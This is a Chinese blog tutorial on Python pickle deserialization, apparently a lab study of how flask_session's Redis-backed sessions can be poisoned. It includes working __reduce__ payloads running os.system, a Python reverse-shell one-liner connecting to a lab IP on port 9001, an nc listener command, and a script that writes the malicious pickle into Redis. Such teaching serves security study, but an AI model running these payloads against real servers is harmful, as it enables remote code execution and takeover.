python pickle反序列化漏洞_Python反序列化安全问题

Python 反序列化安全问题(一)

这一段时间使用flask做web开发,使用了redis存储session,阅读了flask_session源码,发现在存储session到redis过程中,利用了cPickle模块进行序列化以及反序列化;正好根据该样例学习一波Python反序列化相关的安全问题,不足之处请各位表哥指出。

一、基础知识讲解

1.1 cPickle模块

Python中主要是用cPickle和pickle,前者是使用C语言实现,速度可达到后者的1000倍,使用范围较广(文档链接)

cPickle可以序列化很多类型的对象,详情见文档。基础语法就是:

import cPickle

a = 1

b = cPickle.dumps(a)

cPickle.loads(b)

文档中需要特别关注的是11.1.5.2,Pickling and unpickling extension types

这一节主要内容就是讲述cPickle序列化以及反序列化扩展类的过程,原文有一句我并没有完全理解意思:

When the Pickler encounters an object of a type it knows nothing about — such as an extension type

初始理解的意思是:当遇到解释器一无所知的扩展类型的时候,但是对于理解的这句话,扩展类型是什么意思?后来想到Python中元类是type,这里extension types应该理解为type类型的class。

class A(): # 旧类

pass

type(A)

class B(object): # 新类

pass

type(B)

所以说这一节主要针对的应该是新类,即 class A(object) 此种写法创建的类(存疑,待补充完善);当序列化以及反序列化的过程中中碰到未知类的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化,该方法可以返回string和tuple类型;问题主要出在tuple类型(后面会细述),通过构造__reduce__可达到命令执行的目的:

import cPickle

import os

class A(object):

def __reduce__(self):

a = 'whoami'

return (os.system,(a,))

b=A()

result = cPickle.dumps(b)

cPickle.loads(result)

使用上述命令即可执行whoami命令。同时也可以利用该方式反弹shell:

import cPickle

import os

class A(object):

def __reduce__(self):

a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""

return (os.system,(a,))

b=A()

result = cPickle.dumps(b)

cPickle.loads(result)

然后在10.85.0.76执行nc -lvvp 9001,即可成功获取shell。

1.2 flask_session

因为本次测试主要是依托于flask和redis,所以首先介绍一下flask_session。

flask中默认使用客户端session,如果想要配置服务端session,就需要使用flask_session配合Redis(后面皆以Redis为主)或者其他数据库。flask_session使用Redis存储session的过程(主要使用如下的接口实现,只展示部分代码):

class RedisSessionInterface(SessionInterface):

serializer = pickle # 上文模块导入 import cPickle as pickle

session_class = RedisSession

def open_session(self, app, request): # 获取session

……

val = self.redis.get(self.key_prefix + sid)

if val is not None:

try:

data = self.serializer.loads(val) ## 将session值取出后反序列化

return self.session_class(data, sid=sid)

except:

return self.session_class(sid=sid, permanent=self.permanent)

return self.session_class(sid=sid, permanent=self.permanent)

def save_session(self, app, session, response): # 存储session

……

val = self.serializer.dumps(dict(session)) ## 将session值序列化存储到redis

上述过程简单说就是:session存取过程存在序列化和反序列化的过程。

session在Redis中以键值对(key,value)的形式存储。假设我们能够操纵Redis中的键值对,将某个key的值设为我们序列化后恶意代码(比如上面反弹shell的代码样例),然后在将自身的cookie设置为该key,在访问网站的时候,服务端会对于根据key查找value并进行反序列化,进而反弹shell。下面对于该想法进行测试

二、 漏洞测试

测试环境:

victim:Ubuntu 14.04、Redis 2.8.4、IP:10.85.0.54

attacker:Win10、IP:10.85.0.76

2.1 构建服务端

此处我用flask编写了一个服务端样例:

import redis

import os

from flask import Flask,session

from flask_session import Session

app = Flask(__name__)

SESSION_TYPE = 'redis'

SESSION_PERMANENT = False

SESSION_USE_SIGNER = False

SESSION_KEY_PREFIX = 'session'

SESSION_REDIS = redis.Redis(host='127.0.0.1',port='6379')

SESSION_COOKIE_HTTPONLY = True

PERMANENT_SESSION_LIFETIME = 604800 # 7 days

app.config.from_object(__name__)

Session(app)

@app.route('/')

def hello_world():

session['name']='test'

return 'Hello World!'

if __name__ == '__main__':

app.run(host='0.0.0.0')

将上述代码保存为app.py,第三方库安装完毕后,在服务器上运行

python app.py

即可在5000端口启动简单的服务端,访问如图所示,红框中是我们的sid,也是服务端查找session内容的key(因为设置了前缀,所以redis中key应该是session+sid):

2.2 更改session

此时如果说我们将value设置为恶意代码会怎么样?

import cPickle

import os

import redis

class A(object):

def __reduce__(self):

a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""

return (os.system,(a,))

b=A()

result = cPickle.dumps(b)

r = redis.Redis(host='127.0.0.1',port=6379)

r.set('此处为'session'和你的sid拼接',result)

运行上述代码后,我们可以发现我们的session内容变成下图所示内容:

2.3 反弹shell

此时在attacker监听9001端口:

nc -lvvp 9001

然后刷新浏览器中访问页面,发现成功反弹shell:

三、emmmm

目前很多Python的Web应用都用Redis等NoSQL进行session存储,当攻击者有机会去操纵服务端的session的时候(比如Redis未授权访问),配合反序列化漏洞即可执行命令。上述提到的两个库cPickle和pickle,两个库实现的功能基本相似,后面会对于Python实现的pickle库进行分析为何会出现命令执行的漏洞。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值